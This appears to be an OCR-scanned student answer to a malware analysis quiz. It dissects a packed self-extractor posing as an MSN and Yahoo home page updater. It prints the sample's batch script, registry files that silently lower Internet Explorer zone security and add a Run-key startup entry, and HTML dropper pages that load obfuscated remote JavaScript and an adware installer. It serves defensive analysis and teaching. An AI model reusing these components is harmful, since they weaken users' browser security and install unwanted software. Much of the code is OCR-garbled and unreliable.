Malware Quiz 3 Analysis

NOTE

The file BoOtloS2.exe-e50e87ad5d34cf8d16d01447821d629d.zip was renamed to
malware.bin.exe for ease of analysis. | couldn’t stand the idea of typing that into a
command line program. ;-)

1. What is a .cmd extension? In which systems that this file extension would
work?

A .cmd extension denotes a script file that can be executed by the Windows command
interpreter. It works on MS Windows systems running NT and above.

2. Did you check the MD5 of the unzipped binary? Does it match?

Yes i used Hksfv to generate an MD5 of the file. This matched the MD5 in the file
name (e50e87ad5d34cf8d16d01447821d629d ). The file doesn’t appear to have been
tampered with.

3. Is it packed? If yes, which packed was used?

Yes it is Archived ( SFX ) with Winrar and Packed with UPX.

In explorer view the default icon shows it is associated with Winrar.

Mame + | Size | Type
(WK malvare, bin.exe S4KE  Application

Clicking on the properties of this file shows the following

| Comment I Summary I Streams I
SFX RAR archive

Yersioh to extract 29
Host OS ‘Windows
Tatal files 5
Taotal length 2718
Packed length 1,156
Fatio 42%
5Fx module size 52,736
Mait carmment Present
Paszzwords Absent
Dictionary size 128 KB
42%  Recoveny record Ahzent
Archive lock Abzent
Authenticity verification Abzent

oK I Cancel Apply




Ok, it appears to be a self extracting RAR file. But is that all?

Using the Strings program the following string information was identified.

UPX 1.20
msnupdater.cmd
yahoohomepage.html
msnhomepage.html
Winrar

So it appears to have a reference to the packer UPX as well. Time to test this...

UPX —t <filename>

D:“From Internet:Maluware Quiz 3F>upx —t malware.bhin.exe

testing malware._bin.exe [0K]
Tested 1 file.

D:“From Internet*Malware Quiz 3>

Yes. It’s a UPX packed file. Just to double check, fired up PEID.

P8 PEID v0.93 =101 x|
File: |D:'|,Fru:um InternetiMalware Quiz Jmalware.bin,exe @
Erkrypoink: | 00021EBEQ EP Section: | UP®1
File Offset:  [0OO0OAFED First: Bivtes: [60,BE,00,70
Linket Info: |5.0 Subsystem: | win3z GUL
Q.6- 1,02/ 1.05- 1,24 - > Markus & Laszlo
| Multi Scan I | Task Yiewer I | Qptions | | about | | Exit I
v Stay on bop

Now to remove UPX packing.

—d malware.bin.exe

99978 <— 54482 L4_42% wini2/pe malware _bin._.exe
Unpacked 1 file.

D:z“From InternetsMalware Quiz 3>




Unpacked. Looking at the unpacked file with Strings suggests it is just a WinRar
archive.

4. What is this piece of malware claiming to be?

From the WinRar comments it claims to be an Updater for MSN and Yahoo Home
Pages.

2]

nalware.bin.exe Properties

Generall Eompatibilityl Archive C Summar}ll Streamsl

;The comment below contains SFX scrij~|

Path=.\%systemroot%\
SavePath
Setup=msnupdater .cmd
Silent=1

Oueruwrite=1

Title=Msn & Yahoo Updater
Text

{
Updater for Hsn and Yahoo Home pages
¥
License=Home Page Setup Updater
{
Msn and ¥Yahoo Page updater

S

-
< | »

QK. I Cancel Apply

5. Please describe the process which this malware will try to get installed on the
system.

Running the .exe file will extract the following files to what ever is the system root (
commonly c:\windows ).

Msnhompage.html
Msnupdater.cmd
Yahoohomepage.html
o577.reg

2377.reg



MName

;snhomepage.html Path=_\%systemroot®y

msnupdater.cmd S PEED
yahoohomepage - Sl_atup=msnup|:|ater.cmd
' Silent=1
B5577.req Duerurite=1
@ ]2377.reg Title=Hsn & Yahoo Updater
Text
i

H

<
Msn and Yahoo Page updater
b

;The comment below contains SFX script commands

Updater for Msn and Yahoo Home pages

License=Home Page Setup Updater

It will then execute the msnupdater.cmd script file

Eechu off

echo Updating Windows 3hell
REGEDIT.EXE /3 Z377.reg
REGEDIT.EXE /3 5577.reg
echo Updating Windows 2hell
mesnhomepadges . htiml

Files=s

Windows Shell
html

Windows

echo Updating Windows Shell Files........
vahoohomepage .
Updating
Updating

Updating

Shell
S3hell
S3hell

echo
echo Windows
echo Windows

exit

Files.......uo.u.
EENIS = i
Filezs iz now Complete.

This silently ( regedit.exe /S) adds the two .reg files to the windows registry

File 2377.reg

windows Registry Editor wersion 5.00

[HKEY _CURRENT_USERMSoftware MicrosofthwindowshCurrentversionInternet
1004 " =dword: 00000000
"1201 " =dword: 00000000

[HKEY_CURRENT_UsSERMSoftware'microsofthwindows CurrentversionInternet
1004 " =chword ;00000000
"1201 " =chword: 00000000

[HKEY _CURRENT_USERMSoftware MicrosofthwindowshCurrentversiomInternet
"1004 " =dword 00000000
"1201 " =dword: 00000000

[HKEY _CURRENT_USERMSoftware MicrosofthwindowshCurrentversionInternet
"1004 " =dword ;00000000
"1201" =clword: 00000000
"1406"  =chword 00000000
"1a04  =chword 00000000

[HKEY_CURRENT_USERMNSoftwaredMicrosoftywindows CurrentversionInternet

"1004 " =cword: 00000000
"1201" =cword: 00000000
"1001" =cword: 00000000
"1200"=dword: 00000000
"1400" =cword: 00000000
"1606" =cword: 00000000
"1607 " =clword: 00000000

[HKEY_CURRENT_USERMSoftware microsofthwindowshCurrentversionInternet
"http"=dword: 00000000

settingshZonesyo]

settingshzonesyl]

settingshzonesy2]

settingshZonesy3]

settingshzonesyd]

settingshzonemaphprotocoloefaults]




This reduces the security settings of Internet Explorer in all zones for the current user,
particularly the Internet and Restricted zones. It allows the running of dangerous
ActiveX controls and scripting in all zones.

The 5 zones which are modified in Internet Explorer are below

u] My Computer

1 Local Intranet Zone
Z Trusted =sites Zohe

2 Internet Zone

4 Bestricted Sites Zone

The modifications are to permit (dword value : 000000000 ) the following

1004 Download unsigned ActiveX controls

1201 Initialize and script ActiveX controls not marked as safel

1406 Access data sources across domains

1A04 Don"t prompt for client certificate selection when no
certificates or only one certificate exists ( IE 6 or later )

1001 Download signed ActiveX controls

1200 Run ActiveX controls and plug-ins

1400 Active scripting

1606 Userdata persistence

1607 Navigate sub-frames across different domains

The final line of the registry key is zonemap\protocoldefaults

“http”’=dword :00000000
This seems to set the default http protocol to execute in zone 0 ( my computer ) which
is the least restrictive when opening web pages ( such as msnhomepage.html and
Yahoohompage.html )
File 5577.reg

This adds UNMT .exe to the registry so that it is always run regardless of which user
logs on.

windows Registry Editor version 5.00
[HEEY_LoCal_MACHIMESSOFTwWARESMI crosof thwindows CurrentversionsRun]
ey STRAY " ="C O\ UNMT . EXE"

The unmt.exe file may be downloaded by one of the webpages.

The msnupdater.cmd runs in a command windows and echoes “Updating Windows
Shell Files” and “Updating windows Shell Files is now complete” to the screen. This
may happen so fast that very little is seen on the screen.

6. After some investigation on a machine that had this malware installed, was
verified that the machine was trying to access something related to ""*msn*"* and



"*yahoo*"... Does this malware have something to do with it? If so, with which
purpose? :-)

Yes it does. The SFX archive extracts two files, Msnhompage.html and
Yahoohomepage.html. These are then executed by the msnupdater.cmd file which is
run automatically when the .exe is run.

7. In the same machine, was observed that some registers were messed
up...Again, does this malware have something to do with it? If so, why?

Yes, the malware does modify the registry. It silently adds the contest of the 2 .reg
files mentioned above (5577.reg and 2377.reg )
8. Please, describe how this malware tries to install softwares (and which ones) in

the machine...

After lowering the Internet Explorer security settings msnupdater.cmd executes the
msnhomepage.html and yahoohomepage.html

Msnhomepage.html

<html>

<title> Welcome to Msn.com <ftitle>

<meta http-egquiv="refresh" content="20;url=http://wwv.razor-radio.us">
<hody-

Standby Loading Msn.com ... ...

<!—— AUTO PROMPT START -->

<script language="javascript" type="text/javascript"”
gro="http://static.vindupdates. cow/ prompta/a372al71/a770ab73 . ja" =< fsoript >

<zcript language="javascript" type="text/jsvascript™rself.focus();</script>
<!—— AUTO PROMPFT END —-=

< fhody-

< Shtml-

This script displays “Welcome to MSN.com’ in the title bar of the default browser. It
then attempts to run a javascript from

Static.windupdates.com/prompts/a372al71/a770ab73.js

Ahh. Windupdates. Home of ‘targed advertising’. Not MS updates but something
more insidious( http://www3.ca.com/securityadvisor/pest/pest.aspx?id=453094091 )

After 20 seconds the page is redirected to www.razor-radio.us ( which appears
innocuous )

Downloading the javascript file show that a deliberate attempt to hide its function has
been made.



A770ab73.js

S FTSgRYPMT LQSN19 Yo He4Es/var _&aTd;var _205;var _xEN=document;wvar _hL4;var

| hCH;var _fRO;var nMp=String;var _xSH;var _EzP;var gQU;var TJIN:var qRZ;var
_Sx3j=_nMp.protocypeivar _dNE:var EoB;var _jHO;var _ehNi;var _efgivar _7wl;var

| So5;var Zsh;wvar _zP2;wvar pGO;var _0Dd; 5x3. hCE=_5xj.slice;/*W1EBI3sc
w3ZFE7zhkik HEo b3 Syizd _POnRO MclS_Qea’-‘/functiDn

| Zeh(_ XIQ{_xEN.write ("Axhw".slice(S)+"lswH#odgixdihl *HayaViulsw #v| shi *vh{wvEndydviulsw #vufl *".slice (3)+ rCz+ XIQ+".ECEZI".=
Yfunction _g8h(_XDG, hCE){if (_hCE] {return this._ hCK{_XDG, hCE);}wvar _Lilh;var
_TOg:;wvar _RDA='':for(_Llh=0; _Llh<this.length;

| Lib++) {_TOg=this.charCodedt | Lib)-_XDG;if(_TOg<32){_TOg=127- [32-_TOg):
}_RDa+=_nMp.fromCharcode (_TOg) ;lreturn _RDA}: 5Sxj.slice=_gBi:
_cANK="569cdbed2297775: 53h7ch3 6gle85880473d% g Sfecdigefodid  dich54968hTe63bb 42 7dyE2 8 edgbel;
444:77764:49474543 74727444724 764942764341 75T727674454148477742 74" . 2lice (1)
_fRO=1;:

_Twl=rmyyu?4dxyiynhd [ nsizuifyixihtrdhfgdRiinfFhhixxd} undnsyyfggitun.slice(5) ;
| TIN=0; EoB="%"m{".slice(8);_ ODd="g}}vCBE|}Itrl? rmoym]in| 7levByixvy} |8 v:
Slinylh ;7] 'o".alice(9);_e6gq=3;var _§Z1="iuug;

O0cpremids x joevgebufe/dpndmphhjohd/gig” . slice (1) ;var
_UAH="nsz@55v{hrui‘l}Utj{ngzky4ius§vuve{t,jkx‘hfnv".slice 13

[ xSH="Dmjdl!EZFT!up!dpoujovir.slice(l);

_ehN="myyu?4dxyfynhi |nsizuifyixihtrdhfgdRjinfFhhixx4of{fdgwnilidofw”.slice(5);
| So5="tuzZoikik~zC_ uf{ls{yzllurru}lyzkvyl7+5I181gtJl191lzulgiikyylanklau|oky, xkex
SymC_ulls{yzllurru}lyzkvyl7+5I181gtjl9izulgiikyylznklsu| oky,

yozkTyskCLxkkl5u| oklGiikyyeeeeellroigl KY131011 uflomx444,
vozkV{hroynkxC3kjoglGiikyy, enkskClnoek, grvngl 8, rwmiWVgznC, ruwmi¥o ! kCrgxmk,
iruykHeztCzk~z".3lice (6) !

| ooU="o{{wi66z{h{pi5~puk| wih{1lz5ivt5ihi6TlkphHijlzz6pléiypknlaiB5ihin. slice (7);
_zPZ="rgordg”.slice (3)_JHO="DmJjdl!EZFT!up'dpoujovi™.=slice (1) ;_hL4=1:var
_rCz="jvvr<lluvcvkedykpfurfovgulegolregorvullul®. slice (2) ;_gR2=1;_ 205=0;_pG0=0;
_p_=f=_%05; p_ry=_e6o; _p_lu=_821; p ®u=_7Twl; p_cl=_aTs;_ p_cd=_z03; p_ sw=_oDd;

| p_ws=_Z6h; p pu=_EoB; p pr= dNE; p cr=_hL4; p dl= TIN; p_ju=_ehN; p crw=_ x5H;
_p_cu=_fRO; p rm=_JHO; p cp=_EzP; p pl=_WAH; p_lf=_gRzZ; p_cu=_gQl:

| Z6h("jojulktr.slice (1)) :/%uy J 859-0 YIQRYYmYjWczGw/ I

Hmm. Lots of work required to decode this...

Yahoohomepage.html

<html:-

<title> Welcome to Yahoo.com <ftitle>

<meta http-equivr="refreszh"™ content="115;url=http://www. yahoo.com">

<hody>

Standby Loading Yahoo.CoOM ... e e e v a e e e mn s nmessnsnsssasensssnsssasnsnns

<!—— AUTO PROMPT START —->

<script language="javascript™ type="textfjavascript"|
gro="http://atatic. windupdates. cow/ prompta/aiTeab 73/ a776al7d. je" = fsoript =
<Zcript language="javascript™ type="text/javascript"s=self.focus|);<fsScripts>
<!—— AUTO PROMPT END -—->

<!=— AUTO PROMPFT AD START -->

<scoript language='JavaScript' type='text/JavaScript'
gro='http://install.ixxtoolbar.com/ist/scripta/ prowpt . php?recry=2 &loadfirat=
Oedelayload=l0Laccount id=159030&recurrence=alwaysLadid=allll519623 kevent Type=
onload&ésignature=adulc' =

< fsocript>

<!=— AUTO PROMPT LD END -->

< fhody>

< /html> I

This loads a different script from
http://static.windupdates.com/prompts/a376ab73/a776al74.js

again the content is obscured.



Y £3-J0%/var _wpT=document;var _g2Z=3tring;wvar _hGr;var _IY¥r:;var _MNB;var
| gPviwvar Mpl:var- eMT:var NBES:var nDW;var _AoS:var viIcs_oZ2.prototype:var
| pXh;wvar _hEh;var _4uw;var _togh;var _TpZ;var _V95;var _H1E;wvar _tew;var _pPr;
| vz, MWB=_ wic.slice;var _rJ4:var 3VE;var VEIN:/TTWELyP omWjiOHtLkvh M1Tvz
91TVerd*/ function _pPri_pxi){_vGT.write("E|l{".slice(9)+"ry})ujwp~jpnFO3]
344 1{ry}0) }#ynFOint "} 833
51 1{ryi0) [{1FO".2lice (9] + Uln+_pxi+".ECEzi".=lice(T)+"vmixE".slice (4] ;
function _83jr(_a4j, MNWE) {if( MWE){return this. MWB(_a4j, MNNE];}var MJIB:var
| MmZ;war _WHEL='':for(_MJE=0; _MJE<this.length;
| MIB++) { WmZ=this.charCodeit( MIB)- a4i;if( WmZ<32){ WnZ=127-(32- WmE);
t_WMEL+=_gii.fromCharcode (_WmZ) ;jrecurn _WHE:}; vic.slices_gir;
| 37E="raxmgi®i| L] sv/qywx jspps{/weitw/5) 6G/ 6/ erh/ 7/ s/ eggiw/ w lnw/ { i fumax i *vwixvt Qulcd] sv/qywe/ jspps{/wxitw/5) 66/ 6/ erh/ 7/ xa/ eq
| BMT=1; duw=1;
| teu="nzzvli55yzgzoidl ot j{ivigzkydiusSvxusvaySyvBSyakvye| 84yl 1" . slice (6) ;
| RoF=rlxrcr3dwkexmy (mrhychexivigsgigetioihmeEgygivwimiitvinhkilg7eiget . alice () ;
| ITr="Lurlt)bN\\)ix)nwin{7".5lice(9);
_V95="nzzvl355yzgzalfl} oti{vigzkvdiusS5ighS3kjogGilikyySpd| gShxojmkdpgr ™. 3lice (&) ;
ar _WLJI="o{ {whitw| ispiS~puk|wkh{lz5jvetwvwt | uklySwou".slice (7] 7
| pT4=roi{wiéez{hi{pjS~puk| wkh{le5jveeihisTlkphijjleze wpfpuzihsss wp™.slice(7):
| nDW="Gpmgo§] IN§xsfirxive™.slice(4); H1B="srpseh".slice(4); WIN=0; TpI=1;var
| UIn=rof{wi6ez{hi{pjs~puk| wkh{ lesjvtewyvtwleegze".5lice (7] ;_pEb="EI9<:EBkKAk13]:
17jB<>BjBk=>1En<9Em: lm: 1<Bmoj; n:m?mi]i>inkk9=EE=<n::Enlokkjo90 jBE:Bln?EE<nC?: <B<A?;
<B<APCPr{=CAT <AL «BUl 2P 1= ACAT PP P B € 2P CCAPCPF M 5 1ime (9) ) _hGE=0;
| gPv=1;var _Gds="o{{wh6fw|izp]S~puk|wkh{lz5jvtEsvnnpunSSwvou”.slice (7] ;_tgh=0;
| hEh="op™.slice (1) _p sf=_37E: p cu=_Ao3; p cr=_gPv: p cw=_I¥r: p lu= Gds:
| p_du=_¥95; p pl=_WLJ; p sm=_teu; p_rw=_nDW; p pu=_hKh; p_ry=_TpIZ;_p_xu=_rJ4;
| p_dl= tgh; p ws= pPr; p pr=_pXbh; p ct=_6MT; p cl= NBS:; p cp= Mpl: p lf= duw;
| p_cd=_hGr; pPr ("jojuske™.slice (1)) ;/ *QHEQSdgzu? 3 sru Ighbn jvEIxEUyldcAI+/

As well as downloading content from the ‘targeted advertising site’ it also attempts to
install the xxxtoolbar software
(http://www3.ca.com/securityadvisor/pest/pest.aspx?id=453075196 )

The page displays “welcome to Yahoo.com” in the title of the web browser and
redirects to www.yahoo.com after 115 seconds

9. If you could give only one advise to your users, based on what you observed on
this malware, what would you say?

Only run executables from trusted sources, and which you expect to receive.
10. Do you think that our affected user was lying to the IR Team?

Hmm. Do users lie? Some are careless, some make misinformed choices, some are
not aware of the actions they have taken. The web site static.windupdates.com may
appear to be a windows update site to the user, but actually isn’t. Do they actually see
this site? The user probably isn’t lying about this, although how the original
malware.exe file arrived on the PC is another matter.

11. Finally(!!), how would you classify this malware?
I would classify it as a Downloader. It modifies registry entries to weaken Internet

Explorer security settings. It then connects to two web pages to download additional
malware ( XXXtoolbar and Windupdater )



Additional |

nfo

Scan results of the .exe file from Virustotal

Antivirus Yersion Update Result

Antivfiv 5,320,646 10,22,20035 DR/ WIinREG, LowZones. A 44
Auast 4.6, 695.0 10.21.2003 Win32:RegfonTr

AOG 718 10.21.2005 LowZones. A

Auira 5.32.0.6 10,22,2003 DR/ WINREG, LowZones. A 44
BitDefender 7.2 10,22.2005 |Application. Media. Tickets, A
CAT-GQuickHeal 8.00 10.22,2005  [Trojan.WinREG. LowZones. a
Clamay devel-Z0050917 10.21.2005  |Trojan.Downloader S IstBar A-2
Crweb 4.32b 10,23.2005 |Trojan.LowZones

eTrust-Iris 7.1.194.0 10,22.2005  |no virus found

eTrust-Wet 11,9.1.0 10,21,2005  |no wiras found

Fortinet 2.438.0.0 10,22,2003 Adwaref CDT

F-Prot 216 10,20,2005 |no virus found

Ikarus 0,2,.59.0 10,21,2005  |no wiras found

Kaspersky 4.0.2.24 10,23.2003  [Trojan.WinREG. LowZones. a
Metfee 4610 10,21.2005 |potentially unwanted program Adware-WinAd
NODI2u2 1.1263 10.21.2005 |1S5/TrojanDownloader Adload. B
Morrman 5.70.10 10,21,2005  |no wiras found

Panda 8.02.00 10,22,2003 AdwareWwilpd

Sophos 2.98.0 10,22,2003 Trojd WinREG-B

Surnantec 8.0 10,22,.2005 [Trojan.LowZones

TheHacker 5.8.4.127 10,21.2005 |Trojan/Downloader. IstBar.gen
B2 23.10.4 10,232,2005  [Trojan.WinREG LowdZones. a

Scan results

of the .exe file from Jotti

ﬂ

ﬁ!«ntivir| Found

ﬂrcavir| Found

.":'-."."EISt| Found

A5 ﬂ.ntiuiru5| Found nothing

E-itDefender| Found

Clama’-w| Found nothing

Dr.Weh| Found

F-Prot ﬂ.ntiviru5| Found nothing

Fu:urtinet| Found nothing

Kaspersky ﬂmti—viru5| Found

NOD32| Found

Marman Wirus Cn:untrn:ll| Found nothing

UNﬂ| Found nothing

WBAZ2| Found

Who owns these websites

Going to www.samspade.org and doing a Whois on Static.windupdates.com




whois
Witiois: |static.windupdates.com
@WhDiS.I hagic j

Wwhois |

Server Used: [whois.netwaorksolutions.com |

static.windupdates.com = [ 205.205.86.51 |

Get a FREE domain name registration transfer or renewal with any annual hosting package
- ar just 8.95 with manthly packages.
http://www.networksolutions.com
Registrant:
Solutions 180

3500 136th Place SE

Bellevue WA 95005

s

Darnain Marne: WINDUPDATES.COM

Administrative Contact Technical Contact:

Solutions neteng@180solutions.com

3600 136th Place SE

Bellewue WA 95005

us

425-279-1200
Record expires an 31—May-£009.
Record created on 11-Jul-2005.
Database last updated on 29-Oct-2005 17: 47: 25 EDT.
Domain serers in listed order:
NS2.180SOLUTIONS.COM 206.169.156.43
NS1.180SOLUTIONS.COM 64.94.137.13

Shows it is registered to that lovely company 180Solutions.

Install.xxxtoolbar.com has the following record



Server Used: [whois.opensrs.net]

install.xxxtoolbar.com = [ 66.152.93.119 ]
Registrant:
Integrated Search Technology
3300 Cote-Yertu
Suite 405
Montreal Quebec HAR 287
CA,
Domain name: XXXTOOLBAR.COM
Administrative Contact:
Technology Integrated Search domain@isearchtech.com

3300 Cote-ertu
Suite 405
hWontreal Cluebec HAR 2B7
Ca,
014-448-9727  Faw 514-334-7033
Technical Contact:
Technology Integrated Search demain@isearchtech.com

3300 Cote-“Yertu

Suite 406

hWontreal Cluebec HAR 2B7

ChA

514-448-9727  Fax 514-334-70585

Registrar of Record: TUCOWS IMC.

Record last updated on 18-Apr-2005.

Record expires on 17-May-2006.

Record created on 17-May-2002.

Domain servers in listed order:
NS1.ISEARCHTECH.COM 216.127.33.166
NS2.ISEARCHTECH.COM 216.127.33.167

Domain status: REGISTRAR-LOCK

And Finally...

Well what about that obscured javascript. Well | started hacking the code around and
it appears to contain 2 functions and lots of variables all obscured by using the .slice
method. After wasting about an hour | decided that this was for another day. Will it
provide more information regarding the unmt.exe or another wild goose chase. You
never know ;-)

Useful Tools & Links

Hksfv ( MD5 checker)  http://www.big-o-software.com/products/hksfv/

Peid http://peid.has.it/

Strings http://www.sysinternals.com/Utilities/Strings.html
Pspad http://www.pspad.com/

Winrar http://www.rarlab.com/

UPX http://upx.sourceforge.net/




ScreenHunter
VirsuTotal

Jotti Malware Scan
Internet Explorer
Security Zones Registry

Entries
SamSpade Online tools

http://www.wisdom-soft.com/products/screenhunter.htm

http://www.virustotal.com/flash/index en.html

http://virusscan.jotti.org/

http://support.microsoft.com/default.aspx?scid=182569

http://www.samspade.org/t/




